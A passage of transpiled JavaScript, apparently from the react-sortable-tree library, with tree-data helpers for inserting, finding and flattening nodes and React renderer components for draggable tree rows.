not found */ function getNodeAtPath(_ref17) { var treeData = _ref17.treeData, path = _ref17.path, getNodeKey = _ref17.getNodeKey, _ref17$ignoreCollapse = _ref17.ignoreCollapsed, ignoreCollapsed = _ref17$ignoreCollapse === void 0 ? true : _ref17$ignoreCollapse; var foundNodeInfo = null; try { changeNodeAtPath({ treeData: treeData, path: path, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, newNode: function newNode(_ref18) { var node = _ref18.node, treeIndex = _ref18.treeIndex; foundNodeInfo = { node: node, treeIndex: treeIndex }; return node; } }); } catch (err) {// Ignore the error -- the null return will be explanation enough } return foundNodeInfo; } /** * Adds the node to the specified parent and returns the resulting treeData. * * @param {!Object[]} treeData * @param {!Object} newNode - The node to insert * @param {number|string} parentKey - The key of the to-be parentNode of the node * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * @param {boolean=} expandParent - If true, expands the parentNode specified by parentPath * @param {boolean=} addAsFirstChild - If true, adds new node as first child of tree * * @return {Object} result * @return {Object[]} result.treeData - The updated tree data * @return {number} result.treeIndex - The tree index at which the node was inserted */ function addNodeUnderParent(_ref19) { var treeData = _ref19.treeData, newNode = _ref19.newNode, _ref19$parentKey = _ref19.parentKey, parentKey = _ref19$parentKey === void 0 ? null : _ref19$parentKey, getNodeKey = _ref19.getNodeKey, _ref19$ignoreCollapse = _ref19.ignoreCollapsed, ignoreCollapsed = _ref19$ignoreCollapse === void 0 ? true : _ref19$ignoreCollapse, _ref19$expandParent = _ref19.expandParent, expandParent = _ref19$expandParent === void 0 ? false : _ref19$expandParent, _ref19$addAsFirstChil = _ref19.addAsFirstChild, addAsFirstChild = _ref19$addAsFirstChil === void 0 ? false : _ref19$addAsFirstChil; if (parentKey === null) { return addAsFirstChild ? { treeData: [newNode].concat(_toConsumableArray(treeData || [])), treeIndex: 0 } : { treeData: [].concat(_toConsumableArray(treeData || []), [newNode]), treeIndex: (treeData || []).length }; } var insertedTreeIndex = null; var hasBeenAdded = false; var changedTreeData = map({ treeData: treeData, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, callback: function callback(_ref20) { var node = _ref20.node, treeIndex = _ref20.treeIndex, path = _ref20.path; var key = path ? path[path.length - 1] : null; // Return nodes that are not the parent as-is if (hasBeenAdded || key !== parentKey) { return node; } hasBeenAdded = true; var parentNode = _objectSpread2({}, node); if (expandParent) { parentNode.expanded = true; } // If no children exist yet, just add the single newNode if (!parentNode.children) { insertedTreeIndex = treeIndex + 1; return _objectSpread2(_objectSpread2({}, parentNode), {}, { children: [newNode] }); } if (typeof parentNode.children === 'function') { throw new Error('Cannot add to children defined by a function'); } var nextTreeIndex = treeIndex + 1; for (var i = 0; i < parentNode.children.length; i += 1) { nextTreeIndex += 1 + getDescendantCount({ node: parentNode.children[i], ignoreCollapsed: ignoreCollapsed }); } insertedTreeIndex = nextTreeIndex; var children = addAsFirstChild ? [newNode].concat(_toConsumableArray(parentNode.children)) : [].concat(_toConsumableArray(parentNode.children), [newNode]); return _objectSpread2(_objectSpread2({}, parentNode), {}, { children: children }); } }); if (!hasBeenAdded) { throw new Error('No node found with the given key.'); } return { treeData: changedTreeData, treeIndex: insertedTreeIndex }; } function addNodeAtDepthAndIndex(_ref21) { var targetDepth = _ref21.targetDepth, minimumTreeIndex = _ref21.minimumTreeIndex, newNode = _ref21.newNode, ignoreCollapsed = _ref21.ignoreCollapsed, expandParent = _ref21.expandParent, _ref21$isPseudoRoot = _ref21.isPseudoRoot, isPseudoRoot = _ref21$isPseudoRoot === void 0 ? false : _ref21$isPseudoRoot, isLastChild = _ref21.isLastChild, node = _ref21.node, currentIndex = _ref21.currentIndex, currentDepth = _ref21.currentDepth, getNodeKey = _ref21.getNodeKey, _ref21$path = _ref21.path, path = _ref21$path === void 0 ? [] : _ref21$path; var selfPath = function selfPath(n) { return isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({ node: n, treeIndex: currentIndex })]); }; // If the current position is the only possible place to add, add it if (currentIndex >= minimumTreeIndex - 1 || isLastChild && !(node.children && node.children.length)) { if (typeof node.children === 'function') { throw new Error('Cannot add to children defined by a function'); } else { var extraNodeProps = expandParent ? { expanded: true } : {}; var _nextNode = _objectSpread2(_objectSpread2(_objectSpread2({}, node), extraNodeProps), {}, { children: node.children ? [newNode].concat(_toConsumableArray(node.children)) : [newNode] }); return { node: _nextNode, nextIndex: currentIndex + 2, insertedTreeIndex: currentIndex + 1, parentPath: selfPath(_nextNode), parentNode: isPseudoRoot ? null : _nextNode }; } } // If this is the target depth for the insertion, // i.e., where the newNode can be added to the current node's children if (currentDepth >= targetDepth - 1) { // Skip over nodes with no children or hidden children if (!node.children || typeof node.children === 'function' || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) { return { node: node, nextIndex: currentIndex + 1 }; } // Scan over the children to see if there's a place among them that fulfills // the minimumTreeIndex requirement var _childIndex = currentIndex + 1; var _insertedTreeIndex = null; var insertIndex = null; for (var i = 0; i < node.children.length; i += 1) { // If a valid location is found, mark it as the insertion location and // break out of the loop if (_childIndex >= minimumTreeIndex) { _insertedTreeIndex = _childIndex; insertIndex = i; break; } // Increment the index by the child itself plus the number of descendants it has _childIndex += 1 + getDescendantCount({ node: node.children[i], ignoreCollapsed: ignoreCollapsed }); } // If no valid indices to add the node were found if (insertIndex === null) { // If the last position in this node's children is less than the minimum index // and there are more children on the level of this node, return without insertion if (_childIndex < minimumTreeIndex && !isLastChild) { return { node: node, nextIndex: _childIndex }; } // Use the last position in the children array to insert the newNode _insertedTreeIndex = _childIndex; insertIndex = node.children.length; } // Insert the newNode at the insertIndex var _nextNode2 = _objectSpread2(_objectSpread2({}, node), {}, { children: [].concat(_toConsumableArray(node.children.slice(0, insertIndex)), [newNode], _toConsumableArray(node.children.slice(insertIndex))) }); // Return node with successful insert result return { node: _nextNode2, nextIndex: _childIndex, insertedTreeIndex: _insertedTreeIndex, parentPath: selfPath(_nextNode2), parentNode: isPseudoRoot ? null : _nextNode2 }; } // Skip over nodes with no children or hidden children if (!node.children || typeof node.children === 'function' || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) { return { node: node, nextIndex: currentIndex + 1 }; } // Get all descendants var insertedTreeIndex = null; var pathFragment = null; var parentNode = null; var childIndex = currentIndex + 1; var newChildren = node.children; if (typeof newChildren !== 'function') { newChildren = newChildren.map(function (child, i) { if (insertedTreeIndex !== null) { return child; } var mapResult = addNodeAtDepthAndIndex({ targetDepth: targetDepth, minimumTreeIndex: minimumTreeIndex, newNode: newNode, ignoreCollapsed: ignoreCollapsed, expandParent: expandParent, isLastChild: isLastChild && i === newChildren.length - 1, node: child, currentIndex: childIndex, currentDepth: currentDepth + 1, getNodeKey: getNodeKey, path: [] // Cannot determine the parent path until the children have been processed }); if ('insertedTreeIndex' in mapResult) { insertedTreeIndex = mapResult.insertedTreeIndex; parentNode = mapResult.parentNode; pathFragment = mapResult.parentPath; } childIndex = mapResult.nextIndex; return mapResult.node; }); } var nextNode = _objectSpread2(_objectSpread2({}, node), {}, { children: newChildren }); var result = { node: nextNode, nextIndex: childIndex }; if (insertedTreeIndex !== null) { result.insertedTreeIndex = insertedTreeIndex; result.parentPath = [].concat(_toConsumableArray(selfPath(nextNode)), _toConsumableArray(pathFragment)); result.parentNode = parentNode; } return result; } /** * Insert a node into the tree at the given depth, after the minimum index * * @param {!Object[]} treeData - Tree data * @param {!number} depth - The depth to insert the node at (the first level of the array being depth 0) * @param {!number} minimumTreeIndex - The lowest possible treeIndex to insert the node at * @param {!Object} newNode - The node to insert into the tree * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * @param {boolean=} expandParent - If true, expands the parent of the inserted node * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * * @return {Object} result * @return {Object[]} result.treeData - The tree data with the node added * @return {number} result.treeIndex - The tree index at which the node was inserted * @return {number[]|string[]} result.path - Array of keys leading to the node location after insertion * @return {Object} result.parentNode - The parent node of the inserted node */ function insertNode(_ref22) { var treeData = _ref22.treeData, targetDepth = _ref22.depth, minimumTreeIndex = _ref22.minimumTreeIndex, newNode = _ref22.newNode, _ref22$getNodeKey = _ref22.getNodeKey, getNodeKey = _ref22$getNodeKey === void 0 ? function () {} : _ref22$getNodeKey, _ref22$ignoreCollapse = _ref22.ignoreCollapsed, ignoreCollapsed = _ref22$ignoreCollapse === void 0 ? true : _ref22$ignoreCollapse, _ref22$expandParent = _ref22.expandParent, expandParent = _ref22$expandParent === void 0 ? false : _ref22$expandParent; if (!treeData && targetDepth === 0) { return { treeData: [newNode], treeIndex: 0, path: [getNodeKey({ node: newNode, treeIndex: 0 })], parentNode: null }; } var insertResult = addNodeAtDepthAndIndex({ targetDepth: targetDepth, minimumTreeIndex: minimumTreeIndex, newNode: newNode, ignoreCollapsed: ignoreCollapsed, expandParent: expandParent, getNodeKey: getNodeKey, isPseudoRoot: true, isLastChild: true, node: { children: treeData }, currentIndex: -1, currentDepth: -1 }); if (!('insertedTreeIndex' in insertResult)) { throw new Error('No suitable position found to insert.'); } var treeIndex = insertResult.insertedTreeIndex; return { treeData: insertResult.node.children, treeIndex: treeIndex, path: [].concat(_toConsumableArray(insertResult.parentPath), [getNodeKey({ node: newNode, treeIndex: treeIndex })]), parentNode: insertResult.parentNode }; } /** * Get tree data flattened. * * @param {!Object[]} treeData - Tree data * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {{ * node: Object, * path: []string|[]number, * lowerSiblingCounts: []number * }}[] nodes - The node array */ function getFlatDataFromTree(_ref23) { var treeData = _ref23.treeData, getNodeKey = _ref23.getNodeKey, _ref23$ignoreCollapse = _ref23.ignoreCollapsed, ignoreCollapsed = _ref23$ignoreCollapse === void 0 ? true : _ref23$ignoreCollapse; if (!treeData || treeData.length < 1) { return []; } var flattened = []; walk({ treeData: treeData, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, callback: function callback(nodeInfo) { flattened.push(nodeInfo); } }); return flattened; } /** * Generate a tree structure from flat data. * * @param {!Object[]} flatData * @param {!function=} getKey - Function to get the key from the nodeData * @param {!function=} getParentKey - Function to get the parent key from the nodeData * @param {string|number=} rootKey - The value returned by `getParentKey` that corresponds to the root node. * For example, if your nodes have id 1-99, you might use rootKey = 0 * * @return {Object[]} treeData - The flat data represented as a tree */ function getTreeFromFlatData(_ref24) { var flatData = _ref24.flatData, _ref24$getKey = _ref24.getKey, getKey = _ref24$getKey === void 0 ? function (node) { return node.id; } : _ref24$getKey, _ref24$getParentKey = _ref24.getParentKey, getParentKey = _ref24$getParentKey === void 0 ? function (node) { return node.parentId; } : _ref24$getParentKey, _ref24$rootKey = _ref24.rootKey, rootKey = _ref24$rootKey === void 0 ? '0' : _ref24$rootKey; if (!flatData) { return []; } var childrenToParents = {}; flatData.forEach(function (child) { var parentKey = getParentKey(child); if (parentKey in childrenToParents) { childrenToParents[parentKey].push(child); } else { childrenToParents[parentKey] = [child]; } }); if (!(rootKey in childrenToParents)) { return []; } var trav = function trav(parent) { var parentKey = getKey(parent); if (parentKey in childrenToParents) { return _objectSpread2(_objectSpread2({}, parent), {}, { children: childrenToParents[parentKey].map(function (child) { return trav(child); }) }); } return _objectSpread2({}, parent); }; return childrenToParents[rootKey].map(function (child) { return trav(child); }); } /** * Check if a node is a descendant of another node. * * @param {!Object} older - Potential ancestor of younger node * @param {!Object} younger - Potential descendant of older node * * @return {boolean} */ function isDescendant(older, younger) { return !!older.children && typeof older.children !== 'function' && older.children.some(function (child) { return child === younger || isDescendant(child, younger); }); } /** * Get the maximum depth of the children (the depth of the root node is 0). * * @param {!Object} node - Node in the tree * @param {?number} depth - The current depth * * @return {number} maxDepth - The deepest depth in the tree */ function getDepth(node) { var depth = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; if (!node.children) { return depth; } if (typeof node.children === 'function') { return depth + 1; } return node.children.reduce(function (deepest, child) { return Math.max(deepest, getDepth(child, depth + 1)); }, depth); } /** * Find nodes matching a search query in the tree, * * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {!Object[]} treeData - Tree data * @param {?string|number} searchQuery - Function returning a boolean to indicate whether the node is a match or not * @param {!function} searchMethod - Function returning a boolean to indicate whether the node is a match or not * @param {?number} searchFocusOffset - The offset of the match to focus on * (e.g., 0 focuses on the first match, 1 on the second) * @param {boolean=} expandAllMatchPaths - If true, expands the paths to any matched node * @param {boolean=} expandFocusMatchPaths - If true, expands the path to the focused node * * @return {Object[]} matches - An array of objects containing the matching `node`s, their `path`s and `treeIndex`s * @return {Object[]} treeData - The original tree data with all relevant nodes expanded. * If expandAllMatchPaths and expandFocusMatchPaths are both false, * it will be the same as the original tree data. */ function find(_ref25) { var getNodeKey = _ref25.getNodeKey, treeData = _ref25.treeData, searchQuery = _ref25.searchQuery, searchMethod = _ref25.searchMethod, searchFocusOffset = _ref25.searchFocusOffset, _ref25$expandAllMatch = _ref25.expandAllMatchPaths, expandAllMatchPaths = _ref25$expandAllMatch === void 0 ? false : _ref25$expandAllMatch, _ref25$expandFocusMat = _ref25.expandFocusMatchPaths, expandFocusMatchPaths = _ref25$expandFocusMat === void 0 ? true : _ref25$expandFocusMat; var matchCount = 0; var trav = function trav(_ref26) { var _ref26$isPseudoRoot = _ref26.isPseudoRoot, isPseudoRoot = _ref26$isPseudoRoot === void 0 ? false : _ref26$isPseudoRoot, node = _ref26.node, currentIndex = _ref26.currentIndex, _ref26$path = _ref26.path, path = _ref26$path === void 0 ? [] : _ref26$path; var matches = []; var isSelfMatch = false; var hasFocusMatch = false; // The pseudo-root is not considered in the path var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({ node: node, treeIndex: currentIndex })]); var extraInfo = isPseudoRoot ? null : { path: selfPath, treeIndex: currentIndex }; // Nodes with with children that aren't lazy var hasChildren = node.children && typeof node.children !== 'function' && node.children.length > 0; // Examine the current node to see if it is a match if (!isPseudoRoot && searchMethod(_objectSpread2(_objectSpread2({}, extraInfo), {}, { node: node, searchQuery: searchQuery }))) { if (matchCount === searchFocusOffset) { hasFocusMatch = true; } // Keep track of the number of matching nodes, so we know when the searchFocusOffset // is reached matchCount += 1; // We cannot add this node to the matches right away, as it may be changed // during the search of the descendants. The entire node is used in // comparisons between nodes inside the `matches` and `treeData` results // of this method (`find`) isSelfMatch = true; } var childIndex = currentIndex; var newNode = _objectSpread2({}, node); if (hasChildren) { // Get all descendants newNode.children = newNode.children.map(function (child) { var mapResult = trav({ node: child, currentIndex: childIndex + 1, path: selfPath }); // Ignore hidden nodes by only advancing the index counter to the returned treeIndex // if the child is expanded. // // The child could have been expanded from the start, // or expanded due to a matching node being found in its descendants if (mapResult.node.expanded) { childIndex = mapResult.treeIndex; } else { childIndex += 1; } if (mapResult.matches.length > 0 || mapResult.hasFocusMatch) { matches = [].concat(_toConsumableArray(matches), _toConsumableArray(mapResult.matches)); if (mapResult.hasFocusMatch) { hasFocusMatch = true; } // Expand the current node if it has descendants matching the search // and the settings are set to do so. if (expandAllMatchPaths && mapResult.matches.length > 0 || (expandAllMatchPaths || expandFocusMatchPaths) && mapResult.hasFocusMatch) { newNode.expanded = true; } } return mapResult.node; }); } // Cannot assign a treeIndex to hidden nodes if (!isPseudoRoot && !newNode.expanded) { matches = matches.map(function (match) { return _objectSpread2(_objectSpread2({}, match), {}, { treeIndex: null }); }); } // Add this node to the matches if it fits the search criteria. // This is performed at the last minute so newNode can be sent in its final form. if (isSelfMatch) { matches = [_objectSpread2(_objectSpread2({}, extraInfo), {}, { node: newNode })].concat(_toConsumableArray(matches)); } return { node: matches.length > 0 ? newNode : node, matches: matches, hasFocusMatch: hasFocusMatch, treeIndex: childIndex }; }; var result = trav({ node: { children: treeData }, isPseudoRoot: true, currentIndex: -1 }); return { matches: result.matches, treeData: result.node.children }; } // very simple className utility for creating a classname string... // Falsy arguments are ignored: // // const active = true // const className = classnames( // "class1", // !active && "class2", // active && "class3" // ); // returns -> class1 class3"; // function classnames() { for (var _len = arguments.length, classes = new Array(_len), _key = 0; _key < _len; _key++) { classes[_key] = arguments[_key]; } // Use Boolean constructor as a filter callback // Allows for loose type truthy/falsey checks // Boolean("") === false; // Boolean(false) === false; // Boolean(undefined) === false; // Boolean(null) === false; // Boolean(0) === false; // Boolean("classname") === true; return classes.filter(Boolean).join(' '); } var NodeRendererDefault = /*#__PURE__*/function (_Component) { _inherits(NodeRendererDefault, _Component); var _super = _createSuper(NodeRendererDefault); function NodeRendererDefault() { _classCallCheck(this, NodeRendererDefault); return _super.apply(this, arguments); } _createClass(NodeRendererDefault, [{ key: "render", value: function render() { var _this$props = this.props, scaffoldBlockPxWidth = _this$props.scaffoldBlockPxWidth, toggleChildrenVisibility = _this$props.toggleChildrenVisibility, connectDragPreview = _this$props.connectDragPreview, connectDragSource = _this$props.connectDragSource, isDragging = _this$props.isDragging, canDrop = _this$props.canDrop, canDrag = _this$props.canDrag, node = _this$props.node, title = _this$props.title, subtitle = _this$props.subtitle, draggedNode = _this$props.draggedNode, path = _this$props.path, treeIndex = _this$props.treeIndex, isSearchMatch = _this$props.isSearchMatch, isSearchFocus = _this$props.isSearchFocus, buttons = _this$props.buttons, className = _this$props.className, style = _this$props.style, didDrop = _this$props.didDrop, treeId = _this$props.treeId, isOver = _this$props.isOver, parentNode = _this$props.parentNode, rowDirection = _this$props.rowDirection, otherProps = _objectWithoutProperties(_this$props, ["scaffoldBlockPxWidth", "toggleChildrenVisibility", "connectDragPreview", "connectDragSource", "isDragging", "canDrop", "canDrag", "node", "title", "subtitle", "draggedNode", "path", "treeIndex", "isSearchMatch", "isSearchFocus", "buttons", "className", "style", "didDrop", "treeId", "isOver", "parentNode", "rowDirection"]); var nodeTitle = title || node.title; var nodeSubtitle = subtitle || node.subtitle; var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null; var handle; if (canDrag) { if (typeof node.children === 'function' && node.expanded) { // Show a loading symbol on the handle when the children are expanded // and yet still defined by a function (a callback to fetch the children) handle = /*#__PURE__*/React.createElement("div", { className: "rst__loadingHandle" }, /*#__PURE__*/React.createElement("div", { className: "rst__loadingCircle" }, _toConsumableArray(new Array(12)).map(function (_, index) { return /*#__PURE__*/React.createElement("div", { // eslint-disable-next-line react/no-array-index-key key: index, className: classnames('rst__loadingCirclePoint', rowDirectionClass) }); }))); } else { // Show the handle used to initiate a drag-and-drop handle = connectDragSource( /*#__PURE__*/React.createElement("div", { className: "rst__moveHandle" }), { dropEffect: 'copy' }); } } var isDraggedDescendant = draggedNode && isDescendant(draggedNode, node); var isLandingPadActive = !didDrop && isDragging; var buttonStyle = { left: -0.5 * scaffoldBlockPxWidth }; if (rowDirection === 'rtl') { buttonStyle = { right: -0.5 * scaffoldBlockPxWidth }; } return /*#__PURE__*/React.createElement("div", _extends({ style: { height: '100%' } }, otherProps), toggleChildrenVisibility && node.children && (node.children.length > 0 || typeof node.children === 'function') && /*#__PURE__*/React.createElement("div", null, /*#__PURE__*/React.createElement("button", { type: "button", "aria-label": node.expanded ? 'Collapse' : 'Expand', className: classnames(node.expanded ? 'rst__collapseButton' : 'rst__expandButton', rowDirectionClass), style: buttonStyle, onClick: function onClick() { return toggleChildrenVisibility({ node: node, path: path, treeIndex: treeIndex }); } }), node.expanded && !isDragging && /*#__PURE__*/React.createElement("div", { style: { width: scaffoldBlockPxWidth }, className: classnames('rst__lineChildren', rowDirectionClass) })), /*#__PURE__*/React.createElement("div", { className: classnames('rst__rowWrapper', rowDirectionClass) }, connectDragPreview( /*#__PURE__*/React.createElement("div", { className: classnames('rst__row', isLandingPadActive && 'rst__rowLandingPad', isLandingPadActive && !canDrop && 'rst__rowCancelPad', isSearchMatch && 'rst__rowSearchMatch', isSearchFocus && 'rst__rowSearchFocus', rowDirectionClass, className), style: _objectSpread2({ opacity: isDraggedDescendant ? 0.5 : 1 }, style) }, handle, /*#__PURE__*/React.createElement("div", { className: classnames('rst__rowContents', !canDrag && 'rst__rowContentsDragDisabled', rowDirectionClass) }, /*#__PURE__*/React.createElement("div", { className: classnames('rst__rowLabel', rowDirectionClass) }, /*#__PURE__*/React.createElement("span", { className: classnames('rst__rowTitle', node.subtitle && 'rst__rowTitleWithSubtitle') }, typeof nodeTitle === 'function' ? nodeTitle({ node: node, path: path, treeIndex: treeIndex }) : nodeTitle), nodeSubtitle && /*#__PURE__*/React.createElement("span", { className: "rst__rowSubtitle" }, typeof nodeSubtitle === 'function' ? nodeSubtitle({ node: node, path: path, treeIndex: treeIndex }) : nodeSubtitle)), /*#__PURE__*/React.createElement("div", { className: "rst__rowToolbar" }, buttons.map(function (btn, index) { return /*#__PURE__*/React.createElement("div", { key: index // eslint-disable-line react/no-array-index-key , className: "rst__toolbarButton" }, btn); }))))))); } }]); return NodeRendererDefault; }(Component); NodeRendererDefault.defaultProps = { isSearchMatch: false, isSearchFocus: false, canDrag: false, toggleChildrenVisibility: null, buttons: [], className: '', style: {}, parentNode: null, draggedNode: null, canDrop: false, title: null, subtitle: null, rowDirection: 'ltr' }; NodeRendererDefault.propTypes = { node: PropTypes.shape({}).isRequired, title: PropTypes.oneOfType([PropTypes.func, PropTypes.node]), subtitle: PropTypes.oneOfType([PropTypes.func, PropTypes.node]), path: PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])).isRequired, treeIndex: PropTypes.number.isRequired, treeId: PropTypes.string.isRequired, isSearchMatch: PropTypes.bool, isSearchFocus: PropTypes.bool, canDrag: PropTypes.bool, scaffoldBlockPxWidth: PropTypes.number.isRequired, toggleChildrenVisibility: PropTypes.func, buttons: PropTypes.arrayOf(PropTypes.node), className: PropTypes.string, style: PropTypes.shape({}), // Drag and drop API functions // Drag source connectDragPreview: PropTypes.func.isRequired, connectDragSource: PropTypes.func.isRequired, parentNode: PropTypes.shape({}), // Needed for dndManager isDragging: PropTypes.bool.isRequired, didDrop: PropTypes.bool.isRequired, draggedNode: PropTypes.shape({}), // Drop target isOver: PropTypes.bool.isRequired, canDrop: PropTypes.bool, // rtl support rowDirection: PropTypes.string }; var PlaceholderRendererDefault = function PlaceholderRendererDefault(_ref) { var isOver = _ref.isOver, canDrop = _ref.canDrop; return /*#__PURE__*/React.createElement("div", { className: classnames('rst__placeholder', canDrop && 'rst__placeholderLandingPad', canDrop && !isOver && 'rst__placeholderCancelPad') }); }; PlaceholderRendererDefault.defaultProps = { isOver: false, canDrop: false }; PlaceholderRendererDefault.propTypes = { isOver: PropTypes.bool, canDrop: PropTypes.bool }; var TreeNode = /*#__PURE__*/function (_Component) { _inherits(TreeNode, _Component); var _super = _createSuper(TreeNode); function TreeNode() { _classCallCheck(this, TreeNode); return _super.apply(this, arguments); } _createClass(TreeNode, [{ key: "render", value: function render() { var _this$props = this.props, children = _this$props.children, listIndex = _this$props.listIndex, swapFrom = _this$props.swapFrom, swapLength = _this$props.swapLength, swapDepth = _this$props.swapDepth, scaffoldBlockPxWidth = _this$props.scaffoldBlockPxWidth, lowerSiblingCounts = _this$props.lowerSiblingCounts, connectDropTarget = _this$props.connectDropTarget, isOver = _this$props.isOver, draggedNode = _this$props.draggedNode, canDrop = _this$props.canDrop, treeIndex = _this$props.treeIndex, treeId = _this$props.treeId, getPrevRow = _this$props.getPrevRow, node = _this$props.node, path = _this$props.path, rowDirection = _this$props.rowDirection, otherProps = _objectWithoutProperties(_this$props, ["children", "listIndex", "swapFrom", "swapLength", "swapDepth", "scaffoldBlockPxWidth", "lowerSiblingCounts", "connectDropTarget", "isOver", "draggedNode", "canDrop", "treeIndex", "treeId", "getPrevRow", "node", "path", "rowDirection"]); var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null; // Construct the scaffold representing the structure of the tree var scaffoldBlockCount = lowerSiblingCounts.length; var scaffold = []; lowerSiblingCounts.forEach(function (lowerSiblingCount, i) { var lineClass = ''; if (lowerSiblingCount > 0) { // At this level in the tree, the nodes had sibling nodes further down if (listIndex === 0) { // Top-left corner of the tree // +-----+ // | | // | +--+ // | | | // +--+--+ lineClass = 'rst__lineHalfHorizontalRight rst__lineHalfVerticalBottom'; } else if (i === scaffoldBlockCount - 1) { // Last scaffold block in the row, right before the row content // +--+--+ // | | | // | +--+ // | | | // +--+--+ lineClass = 'rst__lineHalfHorizontalRight rst__lineFullVertical'; } else { // Simply connecting the line extending down to the next sibling on this level // +--+--+ // | | | // | | | // | | | // +--+--+ lineClass = 'rst__lineFullVertical'; } } else if (listIndex === 0) { // Top-left corner of the tree, but has no siblings // +-----+ // | | // | +--+ // | | // +-----+ lineClass = 'rst__lineHalfHorizontalRight'; } else if (i === scaffoldBlockCount - 1) { // The last or only node in this level of the tree // +--+--+ // | | | // | +--+ // | | // +-----+ lineClass = 'rst__lineHalfVerticalTop rst__lineHalfHorizontalRight'; } scaffold.push( /*#__PURE__*/React.createElement("div", { key: "pre_".concat(1 + i), style: { width: scaffoldBlockPxWidth }, className: classnames('rst__lineBlock', lineClass, rowDirectionClass) })); if (treeIndex !== listIndex && i === swapDepth) { // This row has been shifted, and is at the depth of // the line pointing to the new destination var highlightLineClass = ''; if (listIndex === swapFrom + swapLength - 1) { // This block is on the bottom (target) line // This block points at the target block (where the row will go when released) highlightLineClass = 'rst__highlightBottomLeftCorner'; } else if (treeIndex === swapFrom) { // This block is on the top (source) line highlightLineClass = 'rst__highlightTopLeftCorner'; } else { // This block is between the bottom and top highlightLineClass = 'rst__highlightLineVertical'; } var _style; if (rowDirection === 'rtl') { _style = { width: scaffoldBlockPxWidth, right: scaffoldBlockPxWidth * i }; } else { // Default ltr _style = { width: scaffoldBlockPxWidth, left: scaffoldBlockPxWidth * i }; } scaffold.push( /*#__PURE__*/React.createElement("div", { // eslint-disable-next-line react/no-array-index-key key: i, style: _style, className: classnames('rst__absoluteLineBlock', highlightLineClass, rowDirectionClass) })); } }); var style; if (rowDirection === 'rtl') { style = { right: scaffoldBlockPxWidth * scaffoldBlockCount }; } else { // Default ltr style = { left: scaffoldBlockPxWidth * scaffoldBlockCount }; } return connectDropTarget( /*#__PURE__*/React.createElement("div", _extends({}, otherProps, { className: classnames('rst__node', rowDirectionClass) }), scaffold, /*#__PURE__*/React.createElement("div", { className: "rst__nodeContent", style: style }, Children.map(children, function (child) { return /*#__PURE__*/cloneElement(child, { isOver: isOver, canDrop: canDrop, draggedNode: draggedNode }); })))); } }]); return TreeNode; }(Component); TreeNode.defaultProps = { swapFrom: null, swapDepth: null, swapLength: null, canDrop: false, draggedNode: null, rowDirection: 'ltr' }; TreeNode.propTypes = { treeIndex: PropTypes.number.isRequired, treeId: PropTypes.string.isRequired, swapFrom: PropTypes.number, swapDepth: PropTypes.number, swapLength: PropTypes.number, scaffoldBlockPxWidth: PropTypes.number.isRequired, lowerSiblingCounts: PropTypes.arrayOf(PropTypes.number).isRequired, listIndex: PropTypes.number.isRequired, children: PropTypes.node.isRequired, // Drop target connectDropTarget: PropTypes.func.isRequired, isOver: PropTypes.bool.isRequired, canDrop: PropTypes.bool, draggedNode: PropTypes.shape({}), // used in dndManager getPrevRow: PropTypes.func.isRequired, node: PropTypes.shape({}).isRequired, path: PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])).isRequired, // rtl support rowDirection: PropTypes.string }; var TreePlaceholder = /*#__PURE__*/function (_Component) { _inherits(TreePlaceholder, _Component); var _super = _createSuper(TreePlaceholder); function TreePlaceholder() { _classCallCheck(this, TreePlaceholder); return _super.apply(this, arguments); } _createClass(TreePlaceholder, [{ key: "render", value: function render() { var _this$props = this.props, children = _this$props.children, connectDropTarget = _this$props.connectDropTarget, treeId = _this$props.treeId, drop = _this$props.drop, otherProps = _objectWithoutProperties(_this$props, ["children", "connectDropTarget", "treeId", "drop"]); return connectDropTarget( /*#__PURE__*/React.createElement("div", null, Children.map(children, function (child) { return /*#__PURE__*/cloneElement(child, _objectSpread2({}, otherProps)); }))); } }]); return TreePlaceholder; }(Component); TreePlaceholder.defaultProps = { canDrop: false, draggedNode: null }; TreePlaceholder.propTypes = { children: PropTypes.node.isRequired, // Drop target connectDropTarget: PropTypes.func.isRequired, isOver: PropTypes.bool.isRequired, canDrop: PropTypes.bool, draggedNode: PropTypes.shape({}), treeId: PropTypes.string.isRequired, drop: PropTypes.func.isRequired }; function defaultGetNodeKey(_ref) { var treeIndex = _ref.treeIndex; return treeIndex; } // Cheap hack to get the text of a react object function getReactElementText(parent) { if (typeof parent === 'string') { return parent; } if (parent === null || _typeof(parent) !== 'object' || !parent.props || !parent.props.children || typeof parent.props.children !== 'string' && _typeof(parent.props.children) !== 'object') { return ''; } if (typeof parent.props.children === 'string') { return parent.props.children; } return parent.props.children.map(function (child) { return getReactElementText(child); }).join(''); } // Search for a query string inside a node property function stringSearch(key, searchQuery, node, path, treeIndex) { if (typeof node[key] === 'function') { // Search within text after calling its function to generate the text return String(node[key]({ node: node, path: path, treeIndex: treeIndex })).indexOf(searchQuery) > -1; } if (_typeof(node[key]) === 'object') { // Search within text inside react elements return getReactElementText(node[key]).indexOf(searchQuery) > -1; } // Search within string return node[key] && String(node[key]).indexOf(searchQuery) > -1; } function defaultSearchMethod(_ref2) { var node = _ref2.node, path = _ref2.path, treeIndex = _ref2.treeIndex, searchQuery = _ref2.searchQuery; return stringSearch('title', searchQuery, node, path, treeIndex) || stringSearch('subtitle', searchQuery, node, path, treeIndex); } var memoize = function memoize(f) { var savedArgsArray = []; var savedKeysArray = []; var savedResult = null; return function (args) { var keysArray = Object.keys(args).sort(); var argsArray = keysArray.map(function (key) { return args[key]; }); // If the arguments for the 